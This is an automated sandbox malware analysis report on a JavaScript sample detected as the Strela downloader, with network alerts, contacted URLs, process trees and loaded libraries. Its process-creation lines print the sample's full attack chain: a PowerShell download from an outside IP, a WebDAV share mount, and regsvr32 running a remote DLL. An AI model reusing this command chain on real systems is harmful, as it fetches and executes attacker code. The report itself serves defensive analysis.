Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2031361536.000001AFA2E56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2031539184.000001AFA2E66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2097343830.000002094D498000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2097343830.000002094D4F3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2097343830.000002094D4CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2097343830.000002094D4CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.2097343830.000002094D4CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/X
Source: net.exe, 00000007.00000002.2097343830.000002094D498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3320214555.0000021EA8600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2096201635.0000021EA8520000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4180, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 17201670993971103.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5044

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5780:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2z0houws.gtc.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 17201670993971103.js	Virustotal: Detection: 11%
Source: 17201670993971103.js	ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1600,i,9331325378780526045,7878817069450235506,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1600,i,9331325378780526045,7878817069450235506,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
